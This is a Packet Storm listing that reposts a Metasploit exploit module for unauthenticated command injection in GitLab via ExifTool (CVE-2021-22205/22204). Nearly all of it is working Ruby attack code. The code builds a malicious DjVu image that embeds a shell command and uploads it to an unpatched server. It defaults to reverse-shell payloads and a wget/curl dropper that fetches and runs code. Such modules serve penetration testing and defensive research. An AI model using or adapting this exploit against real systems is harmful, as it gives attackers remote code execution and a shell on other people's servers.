exploit the possibilities

GitLab Unauthenticated Remote ExifTool Command Injection

GitLab Unauthenticated Remote ExifTool Command Injection
Posted Nov 4, 2021
Authored by William Bowling, jbaines-r7 | Site metasploit.com

This Metasploit module exploits an unauthenticated file upload and command injection vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6, and 13.8.8. Exploitation will result in command execution as the git user.

tags | exploit, file upload
advisories | CVE-2021-22204, CVE-2021-22205
MD5 | d87f3e67fba1b18fb4d757b02d04991d

GitLab Unauthenticated Remote ExifTool Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab Unauthenticated Remote ExifTool Command Injection',
'Description' => %q{
This module exploits an unauthenticated file upload and command
injection vulnerability in GitLab Community Edition (CE) and
Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6,
and 13.8.8.

Exploitation will result in command execution as the git user.
},
'License' => MSF_LICENSE,
'Author' => [
'William Bowling', # Vulnerability discovery and CVE-2021-22204 PoC
'jbaines-r7' # Metasploit module
],
'References' => [
[ 'CVE', '2021-22205' ], # GitLab
[ 'CVE', '2021-22204' ], # ExifTool
[ 'URL', 'https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/' ],
[ 'URL', 'https://hackerone.com/reports/1154542' ],
[ 'URL', 'https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis' ],
[ 'URL', 'https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/' ]
],
'DisclosureDate' => '2021-04-14',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'Space' => 290,
'DisableNops' => true,
'BadChars' => '#'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget', 'lwprequest', 'curl', 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def upload_file(file_data, timeout = 20)
random_filename = "#{rand_text_alphanumeric(6..12)}.jpg"
multipart_form = Rex::MIME::Message.new
multipart_form.add_part(
file_data,
'image/jpeg',
'binary',
"form-data; name=\"file\"; filename=\"#{random_filename}\""
)

random_uri = normalize_uri(target_uri.path, rand_text_alphanumeric(6..12))
print_status("Uploading #{random_filename} to #{random_uri}")
send_request_cgi({
'method' => 'POST',
'uri' => random_uri,
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
}, timeout)
end

def check
# Checks if the instance is a GitLab install by looking for the
# 'About GitLab' footer or a password redirect. If that's successful
# a bogus jpg image is uploaded to a bogus URI. The patched versions
# should never send the bad image to ExifTool, resulting in a 404.
# The unpatched versions should feed the image to the vulnerable
# ExifTool, resulting in a 422 error message.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/users/sign_in')
})

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

# handle two cases. First a normal install will respond with HTTP 200.
# Second, if the root password hasn't been set yet then this will
# redirect to the password reset page.
unless (res.code == 200 && res.body.include?('>About GitLab<')) ||
(res.code == 302 && res.body.include?('/users/password/edit?reset_password_token'))
return CheckCode::Safe('Not a GitLab web interface')
end

res = upload_file(rand_text_alphanumeric(6..32))
unless res
return CheckCode::Detected('The target did not respond to the upload request.')
end

case res.code
when 422
if res.body.include?('The change you requested was rejected.')
return CheckCode::Vulnerable('The error response indicates ExifTool was executed.')
end
when 404
if res.body.include?('The page could not be found')
return CheckCode::Safe('The error response indicates ExifTool was not run.')
end
end

return CheckCode::Detected
end

def execute_command(cmd, _opts = {})
# printf needs all '\' to be double escaped due to ExifTool parsing
if cmd.start_with?('printf ')
cmd = cmd.gsub('\\', '\\\\\\')
end

# header and trailer are taken from William Bowling's echo_vakzz.jpg from their original h1 disclosure.
# The 'cmd' variable is sandwiched in a qx## function.
payload_header = "AT&TFORM\x00\x00\x03\xAFDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00"\
"\x00\xAC\xFF\xFF\xDE\xBF\x99 !\xC8\x91N\xEB\f\a\x1F\xD2\xDA\x88\xE8k\xE6D\x0F,q\x02\xEEI\xD3n"\
"\x95\xBD\xA2\xC3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\b\x00\b\x18\x00d\x00\x16\x00IN"\
"CL\x00\x00\x00\x0Fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\b\x00\b\x8A\xE6\xE1"\
"\xB17\xD9\x7F*\x89\x00BG44\x00\x00\x00\x04\x01\x0F\xF9\x9FBG44\x00\x00\x00\x02\x02\nFORM\x00\x00"\
"\x03\aDJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx#"
payload_trailer = "# . \\\x0a\" b \") )" + (' ' * 421)

res = upload_file(payload_header + cmd + payload_trailer, 5)

# Successful exploitation can result in no response (connection being held open by a reverse shell)
# or, if the command executes immediately, a response with a 422.
if res && res.code != 422
fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")
end

print_good('Exploit successfully executed.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# payload is truncated by exiftool after 290 bytes. Because we need to
# expand the printf flavor by a potential factor of 2, halve the linemax.
execute_cmdstager(linemax: 144)
end
end
end
Login or Register to add favorites

File Archive:

January 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    0 Files
  • 3
    Jan 3rd
    20 Files
  • 4
    Jan 4th
    4 Files
  • 5
    Jan 5th
    37 Files
  • 6
    Jan 6th
    20 Files
  • 7
    Jan 7th
    4 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    0 Files
  • 10
    Jan 10th
    18 Files
  • 11
    Jan 11th
    8 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    31 Files
  • 14
    Jan 14th
    2 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    0 Files
  • 17
    Jan 17th
    0 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close